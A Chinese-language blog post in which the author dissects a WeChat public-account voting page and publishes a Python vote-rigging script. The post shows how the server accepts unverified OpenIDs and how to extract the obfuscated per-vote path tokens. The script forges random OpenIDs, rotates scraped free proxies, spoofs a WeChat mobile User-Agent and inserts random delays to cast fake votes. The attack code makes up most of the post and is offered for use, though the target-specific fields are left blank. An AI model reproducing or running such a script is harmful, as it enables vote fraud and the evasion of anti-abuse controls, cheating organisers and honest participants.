Abo

wechatVote脚本探讨

对之前班级评比“被”微信刷票的事情耿耿于怀 ̄へ ̄


choice-2692575_1280

对wechatVote的兴趣,主要是来自班级里的“拉拉队投票事件”,希望wechat早点修复这块存在的漏洞,不然以后如果再遭遇这种不正当待遇,只能大家一起刷一起爽了……正所谓“谈,大门敞开;打奉陪到底”,最近真的痴迷于新闻联播这句话~( ̄▽ ̄)”


        

WechatVote

对于之前遭遇的微信拉票事件,闲来无事研究了一下,确实发现这个活动是可以刷票的,简要的记录一下写刷票脚本的过程。实际上,这种爬虫代码的实现永远都是小问题的,重要的是你要知道别人的页面的逻辑,如何去分析和爬取才是难点。

打开微信的投票页面,将屏幕往下拉会发现屏幕顶端显示为”本网页由XXX提供”,需要注意的是,这里的”XXX”并不是”mp.weixin.qq.com”,而是活动举办方的域名。也就是说,这个投票活动的程序是运行在S商城的服务器上面的。这里就涉及到微信公众平台OpenID的概念了,官方对OpenID的解释是:加密后的微信号,每个用户对每个公众号的OpenID是唯一的。也就是一个用户对一个公众号有一个唯一的OpenId。

投票的逻辑是用户在投票请求时,会在POST参数中提供用户的OpenID;S商城服务器在接收到投票的POST请求后,通过查询当前OpenID是否在4小时已经投过票,就可以阻止单一用户重复投票的行为了。

然而,这里面却存在一个很大的漏洞!

S商城只能判断OpenID是否出现了重复,但是却无法校验OpenID的有效性,因为它是无法调用微信服务器来对这个OpenID进行校验的。

那么我们只需要生成符合格式OpenId然后发送post请求就可以了。

但是一次投票也很奇怪,实际上是分两步完成的。第一次是一个get请求(图片中被打码的部分设计到隐私,只需要知道一次投票是通过两个请求来完成的就行了

1

当我看到第一个请求的名字的时候,我以为是这次请求就完成了,但当使用爬虫访问这个接口时,并不能使得票数增加。仔细观察后发现是有另外一个请求。

2

这个请求的path很奇怪,是一串乱码,而且每次不一样。只触发了第一个请求之后没有再进行其余的操作,这时我就能我就能确定,一次投票是通过第一个请求得到一些随机生成的参数,然后再第二次请求带上这些参数来保证第二次请求的合法性,这样来完成一次投票过程。所以第一个请求的页面中一定有地方调用了第二个请求。这个时候查看源代码时发现在页面中有一串这样的代码

当在页面中发现乱码的时候,往往是代码被加密了

3
其中有两个参数是第二个请求的path,可以看出这串乱码是和第二个请求有关联的,而那一串颜文字是对js代码的加密。虽然我们看不懂这串乱码是什么意思,但我们可以按分号(;)将这串乱码格式化之后直接在chrome控制台中跑,发现这串颜文字代码的效果就是执行第二个请求。(这个地方应该是可以还原代码的,有知道的可以讲解一下)

总结

到这里基本上就算做完了,剩下的就是代码实现,总的来说,就是访问第一个请求,用正则在页面中爬取参数,将参数作为第二个请求的path进行对第二个请求的访问。
当然还有ip代理,访问的随机的时间间隔,最好能动态模拟不同的设备,即修改User-Agent这些常见问题就不做说明,如果对这些有什么问题可以发邮件。

总的来说,使用python进行代码实现并没有多大的难度,难度在于一步步的分析,掌握网站的逻辑,并不断的尝试。这点只有多做才有效果。

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
import random
import re
import string
import time

from bs4 import BeautifulSoup
import requests


class Ip_List:
"""
ip代理池
"""

def __init__(self):
self.ip_list = []
self.headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
}
self.proxy = {
"http":"60.191.201.38:45461"
}

def get_ip_list(self):
"""
从网站爬取ip_list
:return:
"""
for page in range(1, 20):
url = "http://www.xicidaili.com/nn/" + str(page)
web_data = requests.get(url=url, headers=self.headers,proxies = self.proxy)
print(web_data)
soup = BeautifulSoup(web_data.text, "lxml")
ips = soup.find_all('tr')
print(ips)
for i in range(2, len(ips)):
ip_info = ips[i]
print(ip_info)
tds = ip_info.find_all('td')
self.ip_list.append(( tds[5].text,tds[1].text + ":" + tds[2].text))

return self.ip_list


def get_random_ip(self):
"""
:return: 1.http还是https 2.ip
"""
random_one = random.choice(self.ip_list)
return random_one[0].lower(), random_one[1]


class Vote:
def __init__(self):
self.activityId =
self.playerId =
self.number =
self.activityName =
self.isGift =
self.success_url =
self.vote_url =

@staticmethod
def random_sleep_time(digits_length):
"""
随机睡眠
:param digits_length:
:return:
"""
digits_char = string.digits
need_sleep_time = ''
for i in range(digits_length):
need_sleep_time += random.choice(digits_char)
return int(need_sleep_time) + 2

def get_open_id(self):
def getRandomString(id_length):
charSeq = string.ascii_letters + string.digits
randString = ''
for i in range(id_length):
randString += random.choice(charSeq)
return randString

return getRandomString(16) + "-" + getRandomString(11)

def success(self, open_id, ip_t):
"""
访问第一个页面,得到参数
:param open_id: open_id
:param ip_t: ip状态和ip地址
:return: 返回得到的两个钩子参数
"""
url = self.success_url

proxy = {
ip_t[0]: ip_t[1]
}

params = {
"activityId": self.activityId,
"openId": open_id,
"playerId": self.playerId,
"number": self.number,
"activityName": self.activityName,
"isGift": self.isGift
}

headers = {
# "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
# "Accept-Encoding": "gzip, deflate",
# "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
# "Connection": "keep-alive",
# "Cookie": "JSESSIONID=BEDA66485B52B1FB4C916C39499EA081",
# "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Linux; U; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger"
}

# params = parse.urlencode(params)
# print(params)
r = requests.get(url=url, params=params, headers=headers, proxies=proxy)
html = r.text
# soup = BeautifulSoup(html,"html.parser")

# 正则找出埋的钩子参数
pattern1 = re.compile(r'var _0sdfad="(.*?)"', re.MULTILINE | re.DOTALL)
pattern2 = re.compile(r'var _0ees88="(.*?)"', re.MULTILINE | re.DOTALL)
index1 = re.search(pattern1, html)
index2 = re.search(pattern2, html)
res1 = index1.group().replace(r'var _0sdfad="', "").replace('"', '')
res2 = index2.group().replace(r'var _0ees88="', "").replace('"', '')
# print(soup)
return res1, res2

def vote_real(self, open_id, ip_t):
index1, index2 = self.success(open_id, ip_t)
url = self.vote_url +"/"+ index2 + "/" + index1

proxy = {
ip_t[0]: ip_t[1]
}

params = {
"activityId": self.activityId,
"openId": open_id,
"playerId": self.playerId
}

headers = {
# "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
# "Accept-Encoding": "gzip, deflate",
# "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
# "Connection": "keep-alive",
# "Cookie": "JSESSIONID=BEDA66485B52B1FB4C916C39499EA081",
# "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Linux; U; zh-cn; GT-S5660 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MicroMessenger"
}
r = requests.post(url=url, params=params, headers=headers, proxies=proxy)
print(r)

def do(self, ip_t):
open_id = self.get_open_id()
self.vote_real(open_id, ip_t)


class FileWriter(object):
def writer(self, text):
with open('ip_list.txt', 'a', encoding='utf-8') as f:
f.write(text + '\n')


if __name__ == "__main__":

ipList = Ip_List()
ipList.get_ip_list()
vote = Vote()
file_writer = FileWriter()
success_count, error_count = 0, 0
ip_useful_list = []
for i in range(5):
try:
ip_t = ipList.get_random_ip()
print(ip_t)
vote.do(ip_t=ip_t)
random_wait_time = vote.random_sleep_time(1)
time.sleep(random_wait_time)
except Exception:
error_count += 1
print("error_count: ",error_count)
else:
print("success_count: ",success_count)
success_count += 1
if ip_useful_list.count(ip_t)==0:
ip_useful_list.append(ip_t)
print("---")

for ip_t in ip_useful_list:
file_writer.writer(ip_t[0]+" "+ip_t[1])